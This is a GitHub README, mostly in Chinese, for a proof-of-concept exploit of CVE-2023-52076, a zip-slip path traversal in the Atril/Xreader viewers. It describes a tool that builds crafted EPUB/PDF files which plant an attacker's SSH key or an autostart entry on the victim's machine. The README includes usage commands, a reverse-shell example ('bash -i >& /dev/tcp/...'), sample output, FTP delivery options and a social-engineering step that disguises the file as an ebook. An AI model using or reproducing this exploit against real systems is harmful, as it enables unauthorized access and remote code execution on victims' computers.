Groppoxx/CVE-2023-52076-PoC

GitHub: Groppoxx/CVE-2023-52076-PoC

CVE-2023-52076 概念验证工具,通过生成特制 EPUB/PDF 文件利用 Atril/Xreader 的路径遍历漏洞实现 SSH 密钥注入或远程命令执行。

Stars: 0 | Forks: 0

# CVE-2023-52076-PoC [**CVE-2023-52076**](https://nvd.nist.gov/vuln/detail/CVE-2023-52076) 的概念验证,这是 **Atril/Xreader** 文档查看器中一个严重的路径遍历和任意文件写入漏洞,会影响 MATE Desktop 环境。 该脚本会生成一个经过特殊构造的 EPUB payload,其中包含针对 SSH 配置或自启动 desktop 条目的 zip-slip 路径,允许在目标系统上执行远程命令。 ## 功能说明 1. 支持两种利用模式:SSH 密钥注入或自启动 RCE。 2. 生成 RSA 密钥对(仅限 SSH 模式)。 3. 构建一个有效的 EPUB,其中嵌入针对易受攻击解压逻辑的 zip-slip 路径。 4. 使用 `/proc/self/cwd` gadgets 将 payload 写入 5-9 种路径遍历变体中。 5. 创建 `.epub` 和 `.pdf` 副本(两者均可触发漏洞)。 6. 验证 payload 结构并核实所有条目。 7. 可选地通过匿名 FTP 上传 payload。 ## 环境要求 ``` Python 3.8+ ssh-keygen in PATH (SSH mode only) ``` ## 快速开始 ### SSH 模式(推荐) 在本地生成 SSH payload: ``` python3 cve_2023_52076.py --mode ssh ``` ### 自启动模式 使用自定义命令生成自启动 RCE payload: ``` python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt" ``` ## 完整示例 ### 通过 FTP 上传的 SSH 模式 ``` python3 cve_2023_52076.py \ --mode ssh \ --name slippy-ssh \ --key ./keys/atril_rsa \ --output-dir ./payloads \ --upload \ --host ftp.target.local \ --ftp-dir pub ``` 输出示例: ``` [2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa [2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries [2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub [2026-07-27T14:23:47Z] [+] Validated 9 payload entries [2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21 [2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub [2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing: -rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub [+] Payload ready Mode: SSH (authorized_keys) Private key: ./keys/atril_rsa (mode 600) Public key: ./keys/atril_rsa.pub Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA) EPUB: ./payloads/slippy-ssh.epub PDF copy: ./payloads/slippy-ssh.pdf [+] SSH login remains manual: ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes @ ``` ### 通过 FTP 上传的自启动模式 ``` python3 cve_2023_52076.py \ --mode autostart \ --command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \ --name slippy-rce \ --output-dir ./payloads \ --upload \ --host ftp.target.local \ --ftp-dir pub ``` 输出示例: ``` [2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries [2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub [2026-07-27T14:25:10Z] [+] Validated 5 payload entries [2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21 [2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub [2026-07-27T14:25:11Z] [+] Upload complete. [+] Payload ready Mode: Autostart (.desktop RCE) Command: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 EPUB: ./payloads/slippy-rce.epub PDF copy: ./payloads/slippy-rce.pdf [+] Victim must logout/login for autostart to trigger ``` ## 可选参数 ``` --mode {ssh,autostart} Payload mode. Default: ssh ssh: Inject SSH authorized_keys (no victim interaction needed after file opens). autostart: Create .desktop RCE in autostart (triggers on next logout/login). --command Payload command for --mode autostart. Required if --mode autostart. Example: --command "id > /tmp/pwned.txt" --name Local payload basename. Default: base-clean --key Private key path (SSH mode only). Default: slippy_rsa --key-bits RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072 --output-dir Output directory for .epub/.pdf. Default: output --upload Upload the payload to FTP after generating. --host FTP target host or IP. Required if --upload is set. --port FTP port. Default: 21 --ftp-dir Remote FTP directory, e.g. pub. --remote-name Remote EPUB filename. Default: ludwig.epub --upload-pdf Upload the .pdf copy instead of the .epub. --force Replace existing output and key files. --timeout FTP connection timeout. Default: 10.0 --only-final Hide progress logs and print only the final summary. --no-color Disable ANSI colors. --debug Print executed subprocess commands (ssh-keygen). ``` ## 利用流程 ### SSH 模式 1. **生成 Payload**:脚本创建 EPUB,其中包含写入 authorized_keys 路径的公钥。 2. **社会工程学**:将 EPUB/PDF 发送给目标(伪装成电子书)。 3. **受害者打开文件**:Atril/Xreader 解压 EPUB 内容。 4. **路径遍历**:存在漏洞的代码将公钥写入 `~/.ssh/authorized_keys`。 5. **SSH 访问**:攻击者使用私钥进行连接。 ### 自启动模式 1. **生成 Payload**:脚本创建 EPUB,其中包含写入自启动路径的 .desktop 条目。 2. **社会工程学**:将 EPUB/PDF 发送给目标。 3. **受害者打开文件**:Atril/Xreader 解压 EPUB 内容。 4. **路径遍历**:存在漏洞的代码将 .desktop 写入 `~/.config/autostart/`。 5. **触发**:在下一次注销/登录时,`.desktop` 文件会自动执行命令。 ## 关键点 - **无需用户名**:`/proc/self/cwd` gadget 会在解压时进行解析。 - **多种路径变体**:SSH 模式 9 种路径,自启动模式 5 种路径,最大限度地提高了跨目录深度的成功率。 - **不覆盖文件**:仅创建新文件(遵循 CVE 的限制)。 - **离线模式**:无需 FTP 投递即可生成 payload(仅在需要时使用 `--upload`)。 - **灵活的命令**:自启动模式支持任何 bash 命令。 - **SSH 模式是即时的**:文件打开后无需受害者的任何交互。 - **自启动需要重新登录**:受害者必须注销/登录才能触发 RCE。 ## 注意事项 - 受影响的版本:Atril (MATE DE), Xreader (Cinnamon, Linux Mint) < 1.26.2。 - 已测试环境:Kali Linux、Parrot OS、Ubuntu-Mate、Xubuntu。 - 需要受害者在存在漏洞的查看器中打开特制文档。 - 离线工作;在利用期间不会向攻击者发送网络回调。 - 最佳实践:通过 FTP 投递(`--upload`)以避免直接托管。 ## 法律声明 本 PoC 仅供**授权的安全测试**、实验室环境和漏洞验证使用。 未经明确许可,请勿将其用于任何系统。
标签:CISA项目, EPUB, PE 加载器, Python, Zip-Slip, 内存分配, 无后门, 路径穿越, 逆向工具